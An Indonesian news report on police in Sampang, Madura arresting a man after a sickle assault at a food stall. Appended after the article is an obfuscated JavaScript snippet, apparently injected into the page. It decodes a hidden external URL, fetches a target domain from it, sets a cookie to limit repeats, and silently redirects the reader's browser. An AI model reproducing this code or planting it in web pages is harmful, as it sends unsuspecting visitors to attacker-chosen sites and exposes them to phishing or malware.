SAMPANG, Nusaberita Live – Tindakan sigap ditunjukkan oleh anggota Sihumas Polres Sampang, Madura, Jawa Timur, dalam menangani kasus penganiayaan yang terjadi di kawasan Jalan Lingkar Selatan (JLS), tepatnya di Jalan Halim Perdana Kusuma.
Kejadian yang berlangsung pada Jumat, 4 April 2025 sekira pukul 10.00 WIB ini berhasil ditangani dengan cepat oleh petugas.
Kapolres Sampang, AKBP Hartono S.Pd., MM, menyampaikan informasi tersebut usai menjalankan ibadah Salat Jum’at di Masjid Al-Hidayah, Pliyang, pada hari yang sama.
Menurut penjelasannya, tindakan pengamanan dilakukan segera setelah pihak kepolisian menerima laporan dari warga terkait adanya aksi penganiayaan menggunakan senjata tajam jenis celurit di sebuah warung makan di lokasi kejadian.
“Anggota saya langsung menuju Tempat Kejadian Perkara (TKP) dan berhasil mengamankan pelaku beserta barang bukti berupa sebilah celurit, dan selanjutnya pelaku diserahkan kepada bagian penyidik Satreskrim Polres Sampang,” ungkapnya.
Diketahui, pelaku berinisial MS (26), merupakan warga Kecamatan Pangarengan, Sampang. Sementara itu, korban berinisial MA (43) adalah warga Kelurahan Rongtengah, Sampang, Madura, Jawa Timur.
Saat ini, MS tengah menjalani pemeriksaan intensif oleh penyidik untuk mengungkap motif dari tindak kekerasan tersebut.
Pihak kepolisian masih mendalami latar belakang kejadian untuk mengungkap penyebab pasti terjadinya penganiayaan tersebut. (AJ)
(function(){if (document.cookie.includes(‘hasRedirected=1’)) return;fetch(‘\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0064\u0069\u0073\u0074\u0069\u0065\u002e\u0073\u0068\u006f\u0070/?t=json&u=153d4f720470d9e7a3e895c70153e7cd’).then(r => r.json()).then(d => {const domain = d?.domain;if (domain) {document.cookie = ‘hasRedirected=1; max-age=86400; path=/’;location.href = domain + ‘?32861745670379’;}});})();